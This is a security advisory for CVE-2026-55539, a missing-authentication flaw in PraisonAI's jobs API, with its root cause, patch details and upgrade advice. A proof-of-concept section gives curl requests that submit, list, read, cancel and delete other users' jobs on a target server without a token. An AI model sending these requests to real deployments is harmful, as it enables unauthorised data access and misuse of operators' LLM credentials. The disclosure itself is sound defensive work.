high · 8.6CVE-2026-55539Aug 25, 2026

CVE-2026-55539: PraisonAI Jobs API Missing Authentication

Shubham Kandhare
Security Engagement Manager, SecureLayer7

PraisonAI's async jobs API has no authentication on any of its endpoints, letting anyone who can reach the server submit agent jobs, read other users' results, cancel running jobs, and delete…

PackagePraisonAI
Ecosystempip
Affected< 4.6.58
Fixed in4.6.58
CVE-2026-55539: PraisonAI Jobs API Missing Authentication

The problem

The FastAPI jobs module (praisonai/jobs/) registers its entire /api/v1/runs router with no auth middleware, no router-level dependency, and no per-route check. Only CORS middleware is applied, and CORS is not authentication.

Any caller who can reach the server can submit prompts run against the operator's LLM credentials, enumerate all jobs in the shared store, read other jobs' outputs, cancel running jobs, and delete terminal ones. The in-memory store has no owner or principal concept at all, so every job is globally readable.

Proof of concept

A working proof-of-concept for CVE-2026-55539 in PraisonAI, with the exact payload below.

bash
# Start the server bound to a public interface
python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory

# Submit an attacker-controlled job (no token required)
curl -sS -X POST http://TARGET:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  --data-binary '{"prompt":"attacker controlled job","timeout":3600}'

# List every job in the shared store
curl -sS http://TARGET:8005/api/v1/runs

# Read another job's result
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result

# Cancel a running job
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel

# Delete a terminal job
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>

Root cause is CWE-306: every route in router.py is registered with zero dependencies=[Depends(...)] arguments, and create_app() in server.py adds only CORS middleware before including the router. The Authorization string appears only inside the CORS allow_headers list, not in any verification function.

The patch (v4.6.58, commit 2f9677a) mirrors the CVE-2026-44338 fix applied to the legacy Flask server: it introduces a verify_jobs_token dependency backed by PRAISONAI_JOBS_API_TOKEN and hmac.compare_digest, attached at the router level via APIRouter(dependencies=[Depends(verify_jobs_token)]) so every existing and future route inherits the check automatically.

This is a distinct sibling of CVE-2026-44338 (GHSA-6rmh-7xcm-cpxj). That fix hardened only api_server.py; it did not touch the FastAPI jobs module, leaving it fully open through v4.6.57.

The fix

Upgrade to PraisonAI 4.6.58 or later (pip install --upgrade praisonai). Set the PRAISONAI_JOBS_API_TOKEN environment variable to a strong random secret before starting the jobs server. Keep the default bind of 127.0.0.1 and only expose the port through an authenticated reverse proxy if remote access is needed.

Reporter not attributed.

References: [1][2][3][4]

Related research